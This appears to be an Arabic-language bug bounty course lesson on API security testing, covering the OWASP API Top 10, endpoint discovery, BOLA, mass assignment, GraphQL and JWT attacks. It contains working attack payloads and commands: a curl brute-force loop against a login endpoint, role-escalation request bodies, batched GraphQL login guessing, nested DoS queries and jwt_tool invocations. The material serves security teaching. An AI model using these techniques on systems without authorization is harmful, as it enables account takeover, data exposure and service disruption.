الدرس 17 من 24

أمان API والهاتف

اختبار أمان API

4 دقيقة للقراءة

APIs هي العمود الفقري للتطبيقات الحديثة. OWASP API Security Top 10 يوجه أولويات الاختبار. APIs غالباً لها أمان أضعف من واجهات الويب.

OWASP API Security Top 10:2023

# الثغرة صلة صيد الثغرات
API1 تفويض مستوى الكائن المكسور عالية - الاكتشاف الأكثر شيوعاً
API2 المصادقة المكسورة عالية - استيلاء الحساب
API3 تفويض مستوى خاصية الكائن المكسور عالية - كشف البيانات
API4 استهلاك الموارد غير المقيد متوسطة - إمكانية DoS
API5 تفويض مستوى الوظيفة المكسور عالية - وصول المدير
API6 الوصول غير المقيد للتدفقات التجارية الحساسة عالية - منطق الأعمال
API7 تزوير طلبات جانب الخادم عالية - الوصول الداخلي
API8 خطأ تكوين الأمان متوسطة - كشف المعلومات
API9 إدارة المخزون غير الصحيحة متوسطة - Shadow APIs
API10 الاستهلاك غير الآمن لـ APIs متوسطة - مخاطر الطرف الثالث

اكتشاف API

إيجاد نقاط نهاية API

# من ملفات JavaScript
cat wayback-urls.txt | grep "\.js$" | while read url; do
    curl -s "$url" | grep -oE "(\/api\/[^\"']+|\/v[0-9]+\/[^\"']+)"
done

# من تطبيقات الهاتف (مفككة)
grep -r "api\." ./decompiled/ | grep -oE "https?://[^\"']+"

# من التقاط حركة المرور
# استخدم Burp Suite كبروكسي لجميع حركة التطبيق

وثائق API

# تحقق من الوثائق المكشوفة
/swagger
/swagger-ui
/swagger.json
/openapi.json
/api-docs
/api/docs
/graphql
/.well-known/openapi.yaml

# استخدم قوائم كلمات فحص API
ffuf -u https://api.example.com/FUZZ -w api-endpoints.txt

اختبار REST API

BOLA (تفويض مستوى الكائن المكسور)

# اختبر كل نقطة نهاية بمعرفات الكائنات
# رمز المستخدم أ → مورد المستخدم ب

GET /api/users/12345/orders
Authorization: Bearer <user_a_token>
# غيّر لمعرف المستخدم ب

GET /api/users/12346/orders
Authorization: Bearer <user_a_token>
# إذا أعاد بيانات المستخدم ب = BOLA

Mass Assignment

# أضف حقول إضافية للطلبات
POST /api/users/profile
{
    "name": "Attacker",
    "role": "admin",      # حقل مضاف
    "is_verified": true,  # حقل مضاف
    "balance": 99999      # حقل مضاف
}

# تحقق إذا قُبلت الحقول

تحديد المعدل

# اختبر حدود المعدل
for i in {1..100}; do
    curl -s -o /dev/null -w "%{http_code}\n" \
         "https://api.example.com/login" \
         -d "user=test&pass=test$i"
done

# لا حد للمعدل = القوة العمياء ممكنة

أمان GraphQL

الاستبطان

# تحقق إذا كان الاستبطان مفعلاً
POST /graphql
{
    "query": "{__schema{types{name,fields{name}}}}"
}

# إذا أعاد المخطط = ارسم جميع الاستعلامات/التحولات

ثغرات GraphQL الشائعة

# تجميع الاستعلامات لتجاوز المصادقة
[
    {"query": "mutation { login(user:\"admin\", pass:\"a\") { token }}"},
    {"query": "mutation { login(user:\"admin\", pass:\"b\") { token }}"},
    # ... آلاف أخرى
]

# استعلامات متداخلة لـ DoS
query {
  users {
    friends {
      friends {
        friends {
          name
        }
      }
    }
  }
}

# استخراج البيانات القائم على الاسم المستعار
query {
  user1: user(id: "1") { email }
  user2: user(id: "2") { email }
  user3: user(id: "3") { email }
}

أدوات GraphQL

# GraphQL voyager - مستكشف المخطط المرئي
# InQL - إضافة Burp لـ GraphQL

# Clairvoyance - استخراج المخطط بدون استبطان
python3 -m clairvoyance https://example.com/graphql -o schema.json

اختبار المصادقة

هجمات JWT

# تحقق من الخوارزمية
# فك الترميز للرأس، جرب خوارزمية none
# جرب ارتباك RS256 → HS256

# أتمتة jwt_tool
python3 jwt_tool.py <token> -X a  # جميع الهجمات
python3 jwt_tool.py <token> -X n  # خوارزمية None
python3 jwt_tool.py <token> -X k  # ارتباك المفتاح

أمان مفتاح API

# اختبر كشف مفتاح API
# تحقق: ملفات JS، مستودعات git، تطبيقات الهاتف

# اختبر نطاق مفتاح API
# هل يمكن لمفتاح القراءة فقط الكتابة؟
# هل يمكن لمفتاح المستخدم الوصول لنقاط نهاية المدير؟

قائمة مراجعة اختبار API

  • ارسم جميع نقاط النهاية (الوثائق، JS، حركة المرور)
  • اختبر BOLA على كل نقطة نهاية بمعرف كائن
  • اختبر mass assignment على جميع POST/PUT
  • تحقق من تحديد المعدل على نقاط نهاية المصادقة
  • اختبر JWT لثغرات الخوارزمية
  • تحقق من استبطان GraphQL
  • ابحث عن رسائل خطأ مفصلة
  • اختبر إصدارات API القديمة (v1، v2)

أمثلة المكافآت

الشركة الثغرة المكافأة
Uber BOLA - الوصول لأي رحلة 8,000 دولار
Shopify كشف بيانات GraphQL 20,000 دولار
Twitter تجاوز حد معدل API 5,040 دولار
GitLab Mass assignment RCE 12,000 دولار

نصيحة احترافية: APIs غالباً تثق بالطلبات أكثر من واجهات الويب. اختبر كل حقل، كل معامل، كل معرف.

في الدرس التالي، سنغطي اختبار أمان تطبيقات الهاتف. :::

اختبار

الوحدة 5: أمان API والهاتف

خذ الاختبار